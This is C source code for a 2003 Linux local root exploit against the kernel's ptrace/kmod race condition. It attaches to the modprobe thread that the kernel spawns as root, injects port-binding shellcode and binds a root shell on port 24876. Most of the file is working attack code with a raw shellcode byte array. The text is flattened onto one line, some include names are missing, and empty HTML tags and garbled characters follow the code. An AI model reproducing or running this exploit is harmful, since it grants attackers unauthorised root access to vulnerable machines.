/* * Author: snooq [http://www.angelfire.com/linux/snooq/] * Date: 10 April 2003 * * Wojciech Purczynski [ cliph@isec.pl ], says (in his code): * * [quote] * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. * [/quote] * * For more info: http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html * * Temp fix --> echo XXX /proc/sys/kernel/modprobe * * I've seen somewhere... somebody suggested 'chmod 700 /proc' as a quick * fix.... * * The truth is... 'chmod 700 /proc' does not close the hole. * It merely cripple the exploit... which reads /proc entries * * The flaw is still exploitable without 'rwx' to /proc.. * * Having said all these craps.... I must say that I'm still a newbie to * kernel stuffs.... and I think my code looks really ugly too.... * * so... if you r not happy wif the way I code.. or any suggestions for me.. * or even flames.... direct them to jinyean_at_hotmail_dot_com * * Well.. I dun usually do this.. but I will do it this time... * Greetz.. my team mates??? Nam, JF & ET?? haha... * * just wanna thank u for reading these craps.. * and to ET.. maybe next time.. I could join u as a kernel hacker... =p * * Notes: * ====== * 1. There are at least 2 versions of exploit out there.. * ie, Wojciech's and anszom's... * * 2. The way I exploit it is no diff from both except: * -> mine is one attempt per run. Script it, if u need to * -> bind port instead of spawn shell.. * -> dun bother to read /proc entries * -> not as feature rich as anszom's * -> not as reliable.... etc... etc.. * * 3. I coded this as an exercise.. as a way to learn bout kernel internals * * 4. Lastly, credits go to Wojciech and anszom. * */ #include #include #include #include #include #include #include #include #include #include #include #include /* For user_regs_struct */ #define SIZE (sizeof(shellcode)-1) pid_t parent=0; pid_t child=0; pid_t k_child=0; static int sigc=0; /* Port binding shellcode, courtesy of I just changed the port no..... =p */ char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40" "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89" "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02" "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec" "\xec\x31\xc0\x50\x66\xb8\x61\x2c\xc1\xe0\x10\xb0\x02\x50\x89\xe6" "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83" "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04" "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05" "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74" "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd" "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31" "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff/bin/sh"; void sigchld() { sigc++; return; } void sigalrm() { fprintf(stderr,"-> Something wrong and it timeout.\n"); exit(0); } main(int argc, char *argv[]) { int i, error; pid_t pid; struct user_regs_struct regs; /* Registers Structure */ parent=getpid(); switch (pid=fork()) { case -1: perror("Can't fork(): "); break; case 0: /* Child's thread -- The attacking thread. */ child=getpid(); k_child=child+1; /* Kernel child's PID... Hopefully.. */ fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child); fprintf(stderr, "-> Attaching to %d...", k_child); /* Trying to attach to the child spawned by the kernel, which has both euid and egid set to 0. Child will be sent a SIGSTOP and we, the 'parent', will get a SIGCHLD. This process is not immediate. Hence, we need to wait before we continue. Otherwise, we will fail controlling the thread. */ signal(SIGCHLD,sigchld); signal(SIGALRM,sigalrm); alarm(10); while ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) { fprintf(stderr, "."); } if (error==-1) { fprintf(stderr,"-> Unable to attach to %d.\n",k_child); exit(0); } fprintf(stderr, "\n-> Got the thread!!\n"); /* Waiting for the firt SIGCHLD, which signals the end of the attaching action. */ while(sigc<1); if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) { fprintf(stderr,"-> Unable to setup syscall trace.\n"); exit(0); } /* The thread is under our control now. Will wail for the next signal to inject our own code. */ fprintf(stderr,"-> Waiting for the next signal...\n"); while(sigc<2); if (ptrace(PTRACE_GETREGS,k_child,NULL,®s)==-1) { perror("-> Unable to read registers: "); } fprintf(stderr, "-> Injecting shellcode at 0x%08x\n",regs.eip); for (i=0; i<=SIZE; i+=4) { if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {} } fprintf(stderr, "-> Bind root shell on port 24876... =p\n"); /* All done. It's time to leave 'our' poor child alone.... ;) and get ready to kill ourselves... */ if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) { perror("-> Unable to detach from modprobe thread: "); } fprintf(stderr, "-> Detached from modprobe thread.\n"); fprintf(stderr, "-> Committing suicide.....\n"); if (kill(parent,9)==-1) { /* This is really ugly..... */ perror("-> We survived??!!?? "); } /* We should be dead by now. */ exit(0); break; default: /* Parent's thread -- The vulnerable call */ /* Now, the parent is requesting a feature in a kernel module. Such action will trigger the kernel to spawn a child with euid=0, egid=0.... Voila!!! NB: See for more info. */ signal(SIGALRM,sigalrm); alarm(10); socket(AF_SECURITY,SOCK_STREAM,1); break; } exit(0); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß